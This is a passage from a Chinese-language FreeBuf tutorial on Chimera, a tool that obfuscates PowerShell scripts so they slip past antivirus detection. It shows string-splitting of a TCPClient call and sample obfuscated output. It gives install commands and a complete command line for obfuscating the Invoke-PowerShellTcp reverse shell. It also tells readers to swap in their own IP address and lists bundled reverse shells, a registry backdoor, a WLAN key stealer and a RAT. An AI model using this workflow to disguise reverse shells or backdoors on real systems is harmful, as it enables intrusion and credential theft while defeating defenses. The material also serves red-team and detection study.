FreeBuf如何用Chimera进行PowerShell脚本混淆( 二 )


FreeBuf如何用Chimera进行PowerShell脚本混淆
本文插图
Chimera会对脚本源代码进行多种混淆处理 , transformer函数会将一个字符串分割成多个部分 , 并将它们重构成新的变量 。
比如说 , 它会获取到类似“… New-Object System.Net.Sockets.TCPClient …”这样的字符串 , 然后把它转换成下列形式:
$a = "Syste"$b = "m.Net.Soc"$c = "kets.TCP"$d = "Client"... New-Object $a$b$c$d ...函数会将常简的数据类型和字符串转换成多个数据块 , 然后在对这些数据块进行串联 。 —level参数可以将目标字符串切分成更小的数据块和更多的变量:
$CNiJfmZzzQrqZzqKqueOBcUVzmkVbllcEqjrbcaYzTMMd = "`m"$quiyjqGdhQZgYFRdKpDGGyWNlAjvPCxQTTbmFkvTmyB = "t`Rea"$JKflrRllAqgRlHQIUzOoyOUEqVuVrqqCKdua = "Get`s"$GdavWoszHwDVJmpYwqEweQsIAz = "ti`ON"$xcDWTDlvcJfvDZCasdTnWGvMXkRBKOCGEANJpUXDyjPob = "`L`O`Ca"$zvlOGdEJVsPNBDwfKFWpvFYvlgJXDvIUgTnQ = "`Get`-"$kvfTogUXUxMfCoxBikPwWgwHrvNOwjoBxxto = "`i"$tJdNeNXdANBemQKeUjylmlObtYp = "`AsC`i"$mhtAtRrydLlYBttEnvxuWkAQPTjvtFPwO = "`G"$PXIuUKzhMNDUYGZKqftvpAiQ = "t`R`iN工具下载广大研究人员可以使用下列命令下载和安装Chimera , 并查看工具的帮助信息(已在Kali v2020.3版本上进行过测试):
sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils gitsudo git clone https://github.com/tokyoneon/chimera /opt/chimerasudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/sudo chmod +x chimera.sh; ./chimera.sh --help基本使用./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\invoke-expression,out-string,write-error -j -g -k -r -pShells在该工具的shells/目录下 , 包含了一个Nishang脚本和一些通用脚本 , 所有的脚本都已经经过测试并且可以正常工作 。
别忘了 , 在使用之前我们需要修改脚本代码中硬编码的IP地址:
sed -i 's/192.168.56.101/<YOUR-IP-ADDRESS>/g' shells/*.ps1ls -laR shells/shells/:total 60-rwxrwx--- 1 tokyoneon tokyoneon 1727 Aug 29 22:02 generic1.ps1-rwxrwx--- 1 tokyoneon tokyoneon 1433 Aug 29 22:02 generic2.ps1-rwxrwx--- 1 tokyoneon tokyoneon 734 Aug 29 22:02 generic3.ps1-rwxrwx--- 1 tokyoneon tokyoneon 4170 Aug 29 22:02 Invoke-PowerShellIcmp.ps1-rwxrwx--- 1 tokyoneon tokyoneon 281 Aug 29 22:02 Invoke-PowerShellTcpOneLine.ps1-rwxrwx--- 1 tokyoneon tokyoneon 4404 Aug 29 22:02 Invoke-PowerShellTcp.ps1-rwxrwx--- 1 tokyoneon tokyoneon 594 Aug 29 22:02 Invoke-PowerShellUdpOneLine.ps1-rwxrwx--- 1 tokyoneon tokyoneon 5754 Aug 29 22:02 Invoke-PowerShellUdp.ps1drwxrwx--- 1 tokyoneon tokyoneon 4096 Aug 28 23:27 misc-rwxrwx--- 1 tokyoneon tokyoneon 616 Aug 29 22:02 powershell_reverse_shell.ps1shells/misc:total 36-rwxrwx--- 1 tokyoneon tokyoneon 1757 Aug 12 19:53 Add-RegBackdoor.ps1-rwxrwx--- 1 tokyoneon tokyoneon 3648 Aug 12 19:53 Get-Information.ps1-rwxrwx--- 1 tokyoneon tokyoneon 672 Aug 12 19:53 Get-WLAN-Keys.ps1-rwxrwx--- 1 tokyoneon tokyoneon 4430 Aug 28 23:31 Invoke-PortScan.ps1-rwxrwx--- 1 tokyoneon tokyoneon 6762 Aug 29 00:27 Invoke-PoshRatHttp.ps1